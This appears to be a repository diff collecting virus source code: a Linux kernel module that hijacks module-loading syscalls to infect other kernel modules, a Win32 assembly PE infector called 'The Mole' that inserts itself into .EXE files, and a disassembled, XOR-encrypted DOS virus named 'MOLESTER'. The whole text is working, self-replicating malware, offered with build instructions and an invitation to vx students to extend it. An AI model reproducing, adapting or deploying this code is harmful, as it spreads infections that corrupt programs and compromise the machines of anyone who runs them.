#include <linux/symtab_end.h>
};
char files2infect[7][60 + 2];
/* const char kernel_version[] = UTS_RELEASE; */
int (*old_create_module)(char*, int);
int (*old_delete_module)(char *);
int (*open)(char *, int, int);
int (*close)(int);
int (*unlink)(char*);
int our_syscall(int);
int infectfile(char *);
int is_infected(char *);
int cp(struct file*, struct file*);
int writeVir(char *, char *);
int init_module2(struct module*);
char *get_mod_name(char*);
/* needed to be global */
void *VirCode = NULL;
/* install new syscall to see if we are already in kmem */
int our_syscall(int mn)
{
/* magic number: 40hex :-) */
if (mn == 0x40)
return 0;
else
return -ENOSYS;
}
int new_create_module(char *name, int size)
{
int i = 0, j = 0, retval = 0;
if ((retval = old_create_module(name, size)) < 0)
return retval;
/* find next free place */
for (i = 0; files2infect[i][0] && i < 7; i++);
if (i == 6)
return retval;
/* get name of mod from user-space */
while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
j++;
DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
return retval;
}
/* we infect modules after sys_delete_module, to be sure
* we don't confuse the kernel
*/
int new_delete_module(char *modname)
{
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;
retval = old_delete_module(modname);
if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
return retval;
for (i = 0; files2infect[i][0] && i < 7; i++) {
strcat(files2infect[i], ".o");
if ((s = get_mod_name(files2infect[i])) == NULL) {
return retval;
}
name = strcpy(name, s);
if (!is_infected(name)) {
DPRINTK("try 2 infect %s as #%d\n", name, i);
infected++;
infectfile(name);
}
memset(files2infect[i], 0, 60 + 2);
} /* for */
/* its enough */
if (infected >= ENOUGH)
cleanup_module();
vfree(name);
return retval;
}
/* lets take a look at sys_init_module(), that calls
* our init_module() compiled with
* CFLAG = ... -O2 -fomit-frame-pointer
* in C:
* ...
* if((mp = find_module(name)) == NULL)
* ...
*
* is in asm:
* ...
* call find_module
* movl %eax, %ebp
* ...
* note that there is no normal stack frame !!!
* thats the reason, why we find 'mp' (return from find_module) in %ebp
* BUT only when compiled with the fomit-frame-pointer option !!!
* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
* you should find mp at -4(%ebp) .
* thiz is very bad hijacking of local vars and an own topic.
* I hope you do not get an seg. fault.
*/
__asm__
("
.align 16
.globl init_module
.type init_module,@function
init_module:
pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
/* and the parameter for init_module2() */
call init_module2
popl %eax
xorl %eax, %eax /* all good */
ret /* and return */
.hype27:
.size init_module,.hype27-init_module
");
/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
*
* pushl %ebx
* movl %ebp, %ebx
* pushl -4(%ebx)
* call init_module2
* addl $4, %esp
* xorl %eax, %eax
* popl %ebx
* ret
*/
/*----------------------------------------------*/
int init_module2(struct module *mp)
{
char *s = NULL, *mod = NULL, *modname = NULL;
long state = 0;
mod = vmalloc(60 + 2);
modname = vmalloc(MAXPATH + 60 + 2);
if (!mod || !modname)
return -1;
strcpy(mod, mp->name);
strcat(mod, ".o");
MOD_INC_USE_COUNT;
DPRINTK("in init_module2: mod = %s\n", mod);
/* take also a look at phrack#52 ...*/
mp->name = "";
mp->ref = 0;
mp->size = 0;
/* thiz is our new main ,look for copys in kmem ! */
if (sys_call_table[__NR_our_syscall] == 0) {
old_delete_module = sys_call_table[__NR_delete_module];
old_create_module = sys_call_table[__NR_create_module];
sys_call_table[__NR_our_syscall] = (void*)our_syscall;
sys_call_table[__NR_delete_module] = (void*)new_delete_module;
sys_call_table[__NR_create_module] = (void*)new_create_module;
memset(files2infect, 0, (60 + 2)*7);
register_symtab(&my_symtab);
}
register_symtab(0);
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];
unlink = sys_call_table[__NR_unlink];
if ((s = get_mod_name(mod)) == NULL)
return -1;
modname = strcpy(modname, s);
load_real_mod(modname, mod);
vfree(mod);
vfree(modname);
return 0;
}
int cleanup_module()
{
sys_call_table[__NR_delete_module] = old_delete_module;
sys_call_table[__NR_create_module] = old_create_module;
sys_call_table[__NR_our_syscall] = NULL;
DPRINTK("in cleanup_module\n");
vfree(VirCode);
return 0;
}
/* returns 1 if infected;
* seek at position MODLEN + 1 and read out 3 bytes,
* if it is "ELF" it seems the file is already infected
*/
int is_infected(char *filename)
{
char det[4] = {0};
int fd = 0;
struct file *file;
DPRINTK("in is_infected: filename = %s\n", filename);
BEGIN_KMEM
fd = open(filename, O_RDONLY, 0);
END_KMEM
if (fd <= 0)
return -1;
if ((file = current->files->fd[fd]) == NULL)
return -2;
file->f_pos = MODLEN + 1;
DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
BEGIN_KMEM
file->f_op->read(file->f_inode, file, det, 3);
close(fd);
END_KMEM
DPRINTK("in is_infected: det = %s\n", det);
if (strcmp(det, "ELF") == 0)
return 1;
else
return 0;
}
/* copy the host-module to tmp, write VirCode to
* hostmodule, and append tmp.
* then delete tmp.
*/
int infectfile(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in infectfile: in = %d out = %d\n", in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/* write Vircode [from mem] */
DPRINTK("in infetcfile: filenanme = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
/* append hostcode */
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
int disinfect(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;
BEGIN_KMEM
in = open(filename, O_RDONLY, 0640);
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
END_KMEM
DPRINTK("in disinfect: in = %d out = %d\n",in, out);
if (in <= 0 || out <= 0)
return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
return -1;
/* save hostcode */
cp(file1, file2);
BEGIN_KMEM
close(in);
DPRINTK("in disinfect: filename = %s\n", filename);
unlink(filename);
in = open(filename, O_RDWR|O_CREAT, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
file2->f_pos = MODLEN;
cp(file2, file1);
BEGIN_KMEM
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}
/* a simple copy routine, that expects the file struct pointer
* of the files to be copied.
* So its possible to append files due to copieng.
*/
int cp(struct file *file1, struct file *file2)
{
int in = 0, out = 0, r = 0;
char *buf;
if ((buf = (char*)vmalloc(10000)) == NULL)
return -1;
DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
BEGIN_KMEM
while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
file2->f_op->write(file2->f_inode, file2, buf, r);
file2->f_inode->i_mode = file1->f_inode->i_mode;
file2->f_inode->i_atime = file1->f_inode->i_atime;
file2->f_inode->i_mtime = file1->f_inode->i_mtime;
file2->f_inode->i_ctime = file1->f_inode->i_ctime;
END_KMEM
vfree(buf);
return 0;
}
/* Is that simple: we disinfect the module [hide 'n seek]
* and send a request to kerneld to load
* the orig mod. N0 fuckin' parsing for symbols and headers
* is needed - cool.
*/
int load_real_mod(char *path_name, char *name)
{
int r = 0, i = 0;
struct file *file1, *file2;
int in = 0, out = 0;
DPRINTK("in load_real_mod name = %s\n", path_name);
if (VirCode)
vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode)
return -1;
BEGIN_KMEM
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
return -1;
file1 = current->files->fd[in];
if (!file1)
return -1;
/* read Vircode [into mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
disinfect(path_name);
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}
char *get_mod_name(char *mod)
{
int fd = 0, i = 0;
static char* modname = NULL;
if (!modname)
modname = vmalloc(MAXPATH + 60 + 2);
if (!modname)
return NULL;
BEGIN_KMEM
for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
memset(modname, 0, MAXPATH + 60 + 2);
modname = strcpy(modname, default_path[i]);
modname = strcat(modname, "/");
modname = strcat(modname, mod);
if ((fd = open(modname, O_RDONLY, 0640)) > 0)
break;
}
close(fd);
END_KMEM
if (!default_path[i])
return NULL;
return modname;
}
+793
View File
@@ -0,0 +1,793 @@
;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a intersting change for other
;students of vx to explore.
;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib,
;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h;
;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
; 400h 83%
; 600h 60%
; 800h 50%
; a00h 37%
; c00h 20%
ViriiSize equ 400h
.386
.model flat,stdcall
extrn GetFileSize:PROC
extrn ExitProcess:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetEndOfFile:PROC
FILE_MAP_COPY EQU 000000001h
FILE_MAP_WRITE EQU 000000002h
FILE_MAP_READ EQU 000000004h
FILE_MAP_ALL_ACCESS EQU 0000f001fh
INVALID_HANDLE_VALUE EQU -1
FILE_ATTRIBUTE_NORMAL EQU 000000080h
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
OPEN_EXISTING equ 3
PAGE_NOACCESS EQU 000000001h
PAGE_READONLY EQU 000000002h
PAGE_READWRITE EQU 000000004h
PAGE_WRITECOPY EQU 000000008h
PAGE_EXECUTE EQU 000000010h
PAGE_EXECUTE_READ EQU 000000020h
PAGE_EXECUTE_READWRITE EQU 000000040h
PAGE_EXECUTE_WRITECOPY EQU 000000080h
;Header Offsets
PEHeaderSze EQU 0F8h
NumOfSects EQU 06h
SizeOfCode equ 1ch
ImageSze equ 50h
;section offsets
VSize equ 8h
VAddress equ 0Ch
SzeRawData equ 10h
PtrRawData equ 14h
HdrSze equ 28h
Find_data equ 139h
Find_data_name equ 2ch ;where in the structure is the name
FileSizeH equ 14h ;if not zero get out
Filesize equ 20h ;file size low
;find_file db Find_data dup(00) ;size of the find data
;-------------------------------------------
;how the stack is used
SHandle equ 0 ;Handle for the search routine
FHandle equ SHandle + 4 ;Handle for open file
CMHandle equ FHandle + 4 ;CreateMFileHandle
MHandle equ CMHandle + 4 ;Mhandle also address of where it is
FindFile equ MHandle + 4
CFile equ FindFile + Find_data + 4
CFMap equ CFile + 4
MapV equ CFMap + 4
CloseH equ MapV + 4
FindFirst equ CloseH + 4
FindNext equ FindFirst + 4
CloseFnd equ FindNext + 4
UnMapV equ CloseFnd + 4
SetFEnd equ UnMapV + 4
Flag equ SetFEnd + 3
GetProc equ Flag + 4
K32Load Equ GetProc + 4
HostPE Equ K32Load + 4
HostLoad equ HostPE + 4
Delta equ HostLoad + 4
WorkSpace equ GetProc
;-------------------------------------------
.data ;the data area
dummy dd ? ;this needs some data
;or it won't compile ...easily
;-------------------------------------------
.code
Mole:
db 68h
HostEip dd offset fini - 00400000h
Pusha
call GetAddie ;this leaves some data on the stack
;which mole use's
D1: sub esp,WorkSpace
mov ebp,esp
sub dword ptr[ebp + Delta],offset D1 - Offset Mole
;this gives mole its location in memory
;set return up to old eip
mov eax,dword ptr [ebp + HostPE]
add dword ptr [ebp + Delta + 4 + (8*4)],eax
Call GetFunctions ;With the k32 module
;and GetProc we can now get all
;the Fuctions we want
;FINDFIRST
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + Delta]
;add eax, offset FileN - Offset Mole
add eax, offset Fmask - Offset Mole
push eax
call dword ptr [ebp + FindFirst]
mov dword ptr [ebp + SHandle],eax
inc eax
jz NoFiles
dec eax
TryItAgain:
mov byte ptr [ebp + Flag],0 ;assume too small
call Map_Infect?
cmp byte ptr[ebp + Flag],0
jz FindNextOne
add dword ptr [Ebp + FindFile + Filesize],ViriiSize
call Map_Infect?
;call Modify
FindNextOne:
;FINDNEXT
lea eax,[ebp + FindFile]
push eax
mov eax,[ebp + SHandle]
push eax
call dword ptr [ebp + FindNext]
or eax,eax
jnz TryItAgain
NoFiles:
lea eax,[ebp + FindFile]
push eax
Call dword ptr [ebp + CloseFnd]
ADD ESP,Delta + 4 ;restore all
Popa
ret ;return to the host
;--------------------------------------------------------------
Map_Infect?:
xor eax,eax
cdq ;edx = 0
push eax ;handle template
;push FILE_ATTRIBUTE_NORMAL ;attr flags
mov dl,80h
push edx
push large OPEN_EXISTING ;creat flags
push eax ;security issue
push eax ;share mode
push GENERIC_READ or GENERIC_WRITE ;r\w access
Lea eax,[ebp + FindFile + Find_data_name]
push eax ;file name
call dword ptr [ebp + CFile] ;CreateFileA
inc eax ;smaller than cmp eax,-1, je...
jz FileError ;
dec eax ;
;-------------------------------------------------------------
cdq ;get edx = 0
mov [ebp + FHandle],eax
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed
push edx ;fileMap name
push dword ptr [Ebp + FindFile + Filesize]
push edx ;file size high not use for this
push large PAGE_READWRITE ;Protection Rights R/W etc
push edx ;security attr
push eax ;File Handle
call dword ptr [ ebp + CFMap ] ;CreateFileMappingA
cdq ;again zero edx
;why here well ecx usual contains a
;value like C??????? which when xchg
;to eax when you us cdq edx = -1 not 0
xchg eax,ecx
jecxz MapHandleError
;-------------------------------------------------------------
mov [ebp + CMHandle],ecx ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View
push edx ;size to map if 0 whole file
;in win95 its always does whole file
push edx ;where it file to start the mapping
;low word
push edx ;high word
push large FILE_MAP_WRITE ;Acces rights
push ecx ;Map Handle
call dword ptr [ebp + MapV] ;MapViewOfFile
xchg eax,ecx
jecxz ErrorFileMap
;---------------------------------------------------------------------------
mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped
;---------------------------------------------------------------------------
;check for the oking of it then jmp out or back to close
;then reopen
;
MOV EDX,ECX
MOV Ebx,[EDX + 3CH] ;WHERE THE PE
cmp word ptr [ ebx+ edx],'EP'
jne NoRoom
LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry
;check for the section char is
;set for code
test byte ptr [esi + 24h],20h
JE NoRoom
;FindOut if there is room to expand the file
mov ecx,[ESI + VAddress]
add ecx,[ESI + SzeRawData]
mov Eax,[ESI + VAddress + HdrSze ]
sub Eax,Ecx
cmp eax,ViriiSize
jl NoRoom
cmp byte ptr [ebp + Flag],0
jne Roomie
inc byte ptr [ebp + Flag]
jmp GoodOpenSize
Roomie:
call Infect
NoRoom:
GoodOpenSize: ;if called close file and get ready to infect
push dword ptr [ebp + MHandle]
call dword ptr [ebp + UnMapV] ;UnmapViewOfFile
;-------------------------------------------------------------
ErrorFileMap:
push dword ptr [ebp + CMHandle] ;close file map handle
call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object
MapHandleError:
push dword ptr [ebp + FHandle]
call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open
FileError:
ret
;-----------------------------------------------------------------
Infect:
;Ok do the move
push esi
mov edx,[ebp + MHandle]
mov eax,[esi + PtrRawData]
add eax,[esi + SzeRawData] ;where this section ends in the file
mov ecx,dword ptr [Ebp + FindFile + Filesize]
dec ecx
sub ecx,ViriiSize
lea esi,[edx + ecx] ;where to move the data from
lea edi,[edx + ecx + ViriiSize ] ;to
inc ecx
sub ecx,eax ;how much we move for 800h
std ;move backwards
rep movsb ;move it
cld ;move forward again
xchg edi,esi
inc edi
pop esi
push esi
mov eax,[ebp + MHandle]
add eax,[eax + 3ch] ;points to PE
push eax
mov eax,[eax+28h] ;entry point RVA (Eip)
mov byte ptr [edi],68h ;creates the push for the ret
mov dword ptr [edi + 1],eax ;to return to host
pop eax
mov ecx,[ebp + MHandle]
add ecx,[esi + PtrRawData]
push edi
sub edi,ecx
add edi,[esi + VAddress]
;inc edi
mov dword ptr [eax +28h],edi ;update the eip address
pop edi
lea edi,[edi + 5] ;maybe 5 incs are better
mov esi,dword ptr [ebp + Delta]
lea esi,[esi + 5]
mov ecx,offset fini - offset Mole
rep movsb
pop esi ;restore pointer to the section entries
;update the .code area size in the section
add dword ptr [esi + SzeRawData ],ViriiSize
mov eax,dword ptr [esi + SzeRawData]
;update this as well be better if we check if it needed to be
;enlarged???
mov dword ptr [esi + VSize],eax
;not updating the image size since we are not
;becoming bigger in memory aligment only file alignment
;in the header PE
;add dword ptr [edx + ebx + ImageSze],ViriiSize
;Do update the code size in the Header area
add dword ptr [edx + ebx + SizeOfCode],ViriiSize
;now update the rest of the sections
Movzx ecx,word ptr [edx + ebx + NumOfSects]
dec ecx
;update the section entries pter to raw data as long as not 0
NextSect:
add esi, HdrSze
cmp dword ptr [esi + PtrRawData],0
je ZPter
add dword ptr [esi + PtrRawData],ViriiSize
ZPter: loop NextSect
ret
;--------------------------------------------------------------------------
;Used For GetAddie
K32 equ 0
BASE equ K32 + 4
Limit equ BASE + 4
AddFunc equ Limit + 4
AddName equ AddFunc + 4
AddOrd equ AddName+4
Nindex equ AddOrd + 4
WorkSp equ Nindex + 4
GetPAdd equ WorkSp + 4
RetAdd Equ GetPAdd + 4
EdataLoc equ 78h
IdataLoc equ 80h
GetAddie:
call here
here: pop esi
Call GetPE ;eax,esi
jne GetAddie_fini
push eax ;Address of PE header for this module
push esi ;Load address of Module
Call GetK32API
;On return Esi = a API call in Kernel32
Call GetPE ;eax,esi
push ESI ;Module address of K32
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
push large 0 ;hold the return info
Call GetGetProcessAdd
push dword ptr [esp + 10h]
GetAddie_fini:
ret
;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address
sub esp,WorkSp
mov ebx,ebp
mov ebp,esp
Pusha
mov dword ptr[ esp+ 8],ebx
mov [ebp + K32],Esi
mov ebx,esi
mov eax,[eax + EdataLoc] ;gets us the Edata offset
lea esi,[eax + ebx + 10h] ;pointer to base
lea edi,[ebp+BASE]
lodsd
;mov [ebp + BASE],eax ;save base
stosd
lodsd ;total number of exported functions
;by name and ordinal
lodsd ;the functions exported by name
;mov [ebp +Limit],eax ;this is how far its safe to look
stosd
lodsd
add eax,ebx
;mov [ebp + AddFunc],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddName],eax
stosd
lodsd
add eax,ebx
;mov [ebp + AddOrd],eax
stosd
LookLoop:
mov esi,[ebp + AddName]
mov [EBP+Nindex],esi
mov edi,ebx ;get the load Add of K32
add edi,[esi]
xor ecx,ecx
TryAgain:
;find GetProcAddress
cmp [edi],'PteG'
jne NextOne
cmp [edi+4],'Acor'
jne NextOne
cmp [edi+8],'erdd'
jne NextOne
cmp word ptr[edi+0Ch],'ss'
jne NextOne
cmp byte ptr [edi+0Eh],00
jne NextOne
jmp GotGetProcAdd
NextOne:
inc ecx
cmp ecx,[ebp + Limit]
jge NotFound1
add dword ptr [ebp + Nindex],4
mov ESI,[EBP+Nindex]
mov edi,[esi]
add edi,ebx
jmp TryAgain
GotGetProcAdd:
;ok we have the index into the name array use this to get
; the index into the ord array
;
shl ecx,1 ;*2 for a word array
mov esi,[ebp + AddOrd]
add esi,ecx ;move to the correct spot in the array
movzx eax,word ptr [esi]
;ax = ordinal value
shl eax,2 ;*4
mov esi,[ebp + AddFunc]
add esi,eax
mov edi, dword ptr [esi]
add edi,ebx ;got the address of it
xchg eax,edi
mov dword ptr [ebp + GetPAdd],eax
jmp OkFound
NotFound1:
xor eax,eax
OkFound:
popa
add esp,WorkSp
ret
;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header
GetK32API:
push ebx
mov ebx,dword ptr [eax + IdataLoc]
add ebx,esi
;Ebx now points to the import data table
NextDll:
cmp dword ptr [ebx+0ch],0
je NoIdataLeft
lea eax,[ebx+0ch]
mov eax,[eax]
cmp dword ptr [eax+esi],'NREK'
jne NotFound
cmp dword ptr [eax+esi+4],'23LE'
jne NotFound
mov eax,[ebx+10h]
mov eax,[eax+esi]
;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
; mov eax,[eax+1]
xchg eax,esi
pop ebx
ret
NoIdataLeft:
xor eax,eax
pop ebx
ret
NotFound:
add ebx,14h
jmp NextDll
;---------------------------------------------------------
;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header
GetPE:
SetupSEH:
push offset FindExcept
push dword ptr fs:[0]
mov fs:[0],esp
LoopFind:
and esi,0FFFFF000h
pusha
lodsw
cmp ax,'ZM'
je Found
popa
sub esi,1000h
jmp LoopFind
FindExcept:
;Some Exception occured assume "DEAD" area, reset and continue
mov eax,[esp +08h]
lea esp,[eax - 20h]
popa ;restores our "REGS" esi mainly
pop dword ptr fs:[0] ;restore old handler
add esp,4 ;remove last bit of hanlder
sub esi,1000h ;Get set for next page to look at
jmp SetupSEH
Found:
popa ;esi = out MZ header
pop dword ptr fs:[0]
add esp,4
Lea eax,[esi + 3ch]
mov eax,[eax]
add eax,esi
cmp word ptr ds:[eax],'EP'
ret
;---------------------------------------------------------------
GetFunctions:
Mov esi,[ebp+ Delta]
add esi,offset Funct_List - Offset Mole
Lea edi,dword ptr [ebp + CFile]
;mov ecx,9 ;*
xor ecx,ecx
mov cl,9
startGetLoop:
push ecx
push Esi ;function name
Push dword ptr [ ebp + K32Load] ;dll
call dword ptr [ebp + GetProc]
stosd
pop ecx
add esi,13h ;get next name
Loop startGetLoop
ret
;---------------------------------------------------------------
;Data for The Mole
Funct_List:
db "CreateFileA",0 ;12
Fmask db "*.EXE",0 ;5
db 1 dup(90h)
db "CreateFileMappingA",0 ;19
db "MapViewOfFile",0 ;14
db 5 dup(90h)
db "CloseHandle",0 ;12
db 7 dup(90h)
db "FindFirstFileA",0 ;15
db 4 dup(90h)
db "FindNextFileA",0 ;14
db 5 dup(90h)
db "FindClose",0 ;10
db 9 dup(90h)
db "UnmapViewOfFile",0 ;16
db 3 dup(90h)
db "SetEndOfFile",0 ;13
;db 6 dup(90h)
db 'Murkry\IKX'
;=========================================================================
fini:
push LARGE -1
call ExitProcess ;this simply terminates the program
end Mole
+196
View File
@@ -0,0 +1,196 @@
PAGE 59,132
;==========================================================================
;== ==
;== MOLESTER ==
;== ==
;== Created: 18-Apr-92 ==
;== Passes: 5 Analysis Options on: QRSU ==
;== ==
;==========================================================================
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
MOLESTER proc far
start:
jmp real_start ; (0106)
;* No entry point to code
int 10h ; Video display ah=functn 00h
; set display mode in al
retn
;==========================================================================
;
; External Entry Point
;
;==========================================================================
real_start: ; xref 580C:0100
;* jmp short loc_1 ;*(010C)
db 0EBh, 04h
;* No entry point to code
nop
dec si
pop ss
add bh,[bp+di+101h]
mov ah,[bx]
mov bx,102h ; (580C:0102=0)
mov al,[bx]
xchg al,ah
add ax,3
mov si,ax
mov cl,byte ptr ds:[103h][si] ; (580C:0103=0CDh)
call sub_1 ; (0308)
cmpsw ; Cmp [si] to es:[di]
into ; Int 4 on overflow
dec si
db 64h, 60h, 0Dh, 01h, 03h, 4Eh
db 6Eh, 3Bh,0F2h,0DCh
db 'VHNNNteten'
db 1Ah
db '&+n', 0Ah, '/:/n'
db 3
db '!"+=:+<n'
db 18h, 27h, 3Ch, 3Bh, 3Dh, 6Eh
db 18h, 7Fh
db '`!!netetDCf-g'
db 7Fh, 77h, 77h, 7Ch, 6Eh, 03h
db 2Fh, 14h, 6Eh, 68h, 6Eh, 1Ah
db 26h, 2Bh, 6Eh, 18h, 27h, 22h
db 2Bh, 6Eh, 01h, 20h, 2Bh, 6Eh
db 61h, 6Eh, 1Ah
db 26h, 2Bh, 6Eh
db 0Ch, '+:/', 0Ch, '!7=n', 0Ah, '+8'
db '+"!>#+ :n', 0Dh, '!<>!</:'
db 27h, 21h, 20h, 60h, 44h, 43h
db 0A7h, 4Dh, 4Eh,0F6h,0FAh, 54h
db 0C3h,0DAh, 59h, 4Dh,0CDh, 8Ch
db 48h, 83h, 6Fh,0FAh, 00h,0C3h
db 0DAh, 6Fh, 4Fh,0F7h, 48h, 4Eh
db 83h, 6Fh, 73h, 5Ch, 4Eh, 3Ah
db 10h,0A5h, 40h,0DEh,0FAh, 70h
db 83h, 6Fh,0FAh, 01h, 83h, 6Fh
db 73h, 5Ch, 4Eh, 3Ah, 00h, 18h
db 0C9h,0BBh,0C3h,0F8h, 62h, 4Dh
db 0CDh, 88h, 48h,0F7h, 47h, 4Eh
db 0C3h,0F0h, 69h, 4Fh,0BDh,0EAh
db 10h,0FAh
loc_2: ; xref 580C:01E7
jnc loc_2 ; Jump if carry=0
dec sp
retn
db 0DAh, 59h, 4Dh,0CDh, 8Ch, 6Ah
db 83h, 6Fh,0C5h, 96h,0F6h, 4Fh
db 0Dh, 7Dh, 87h, 83h, 6Fh,0A6h
db 97h, 4Eh, 1Eh, 63h, 48h, 4Eh
db 0C5h
loc_3: ; xref 580C:020B
sahf ; Store ah into flags
dec byte ptr [bp-5Ah]
pushf ; Push flags
dec si
cli ; Disable interrupts
jno loc_3 ; Jump if not overflw
dec di
dec si
retn
db 0DAh,0EEh, 4Fh, 83h, 6Fh,0C4h
db 0EAh,0EEh, 4Fh,0CEh,0B2h, 0Ch
db 3Bh, 4Bh,0A5h,0EBh,0A5h, 1Eh
db 0DEh, 7Ch, 8Eh,0A6h,0FCh, 4Eh
db 0F6h, 4Eh, 71h,0F7h, 4Dh, 4Eh
db 0C3h,0DAh, 59h, 4Dh,0CDh, 8Ch
db 4Dh, 83h, 6Fh, 7Ch, 8Eh,0A6h
db 0D0h, 4Eh, 16h, 63h, 4Dh, 4Eh
db 0C6h,0CAh,0D0h, 4Fh,0C6h,0EAh
db 0D1h, 4Fh,0FAh, 0Eh,0F7h, 4Dh
db 4Eh,0C3h,0DAh,0D3h, 4Fh, 83h
db 6Fh,0A6h,0CCh, 4Eh,0C5h,0B5h
db 0A6h,0C6h, 4Eh,0C5h, 91h,0A6h
db 36h, 4Eh,0F6h, 4Eh, 0Eh,0C3h
db 0DAh, 59h, 4Dh,0CDh, 8Ch, 4Dh
db 0F7h, 4Dh, 4Eh, 83h, 6Fh,0A5h
db 4Fh,0DEh,0F6h, 4Fh, 19h,0C5h
db 0DAh, 64h, 4Fh,0C5h,0C2h, 66h
db 4Fh, 83h, 6Fh,0FAh, 70h, 83h
db 6Fh,0F6h, 4Fh, 0Dh,0C3h,0DAh
db 59h, 4Dh,0CDh, 8Ch, 6Ah, 7Ch
db 0A3h,0C4h,0C2h, 69h, 4Fh, 83h
db 6Fh,0F7h, 4Dh, 4Eh,0C3h,0CAh
db 59h, 4Dh,0C5h,0BEh,0F1h, 4Eh
db 4Fh,0BDh,0EAh,0FAh, 64h, 83h
db 6Fh,0CEh,0B0h, 4Bh, 3Bh, 46h
db 0CEh,0B4h, 42h, 3Bh, 4Dh,0A5h
db 45h,0DEh,0CEh,0B0h, 4Ch, 3Bh
db 5Bh,0CEh,0B4h, 57h, 3Bh, 5Eh
db 0FEh, 4Ch,0F7h,0BAh, 4Fh,0F4h
db 4Eh, 4Eh, 83h, 68h,0B0h, 8Eh
db 72h, 4Ah, 3Bh,0BCh,0A6h, 4Ch
db 4Eh, 83h, 6Eh,0F1h, 4Eh, 4Fh
db 0B1h,0A9h,0FEh, 4Ch, 7Dh, 9Ch
db 7Dh, 87h,0FAh, 0Ch, 83h, 6Fh
db 8Dh,0B4h, 2Ch,0CDh, 21h, 86h
db 0D1h, 32h,0EDh, 51h,0E8h, 19h
db 00h, 59h, 88h, 8Ch, 03h, 01h
db 51h, 8Bh,0DFh,0B4h, 40h, 8Dh
db 94h, 00h, 01h, 8Bh, 8Ch, 04h
db 01h,0CDh, 21h, 59h,0E8h, 01h
db 00h,0C3h
MOLESTER endp
;==========================================================================
; SUBROUTINE
;
; Called from: 580C:0121
;==========================================================================
sub_1 proc near
lea bx,ds:[11Eh][si] ; (580C:011E=8Ch) Load effective addr
lea dx,cs:[2DDh][si] ; Load effective addr
loc_4: ; xref 580C:0317
cmp bx,dx
je loc_ret_5 ; Jump if equal
xor [bx],cl
inc bx
jmp short loc_4 ; (0310)
loc_ret_5: ; xref 580C:0312
retn
sub_1 endp
db 42h, 2Eh, 42h,0B8h, 07h, 0Eh
seg_a ends
end start
____________________ CROSS REFERENCE - KEY ENTRY POINTS ___________________
seg:off type label
---- ---- ---- --------------------------------
580C:0100 far start
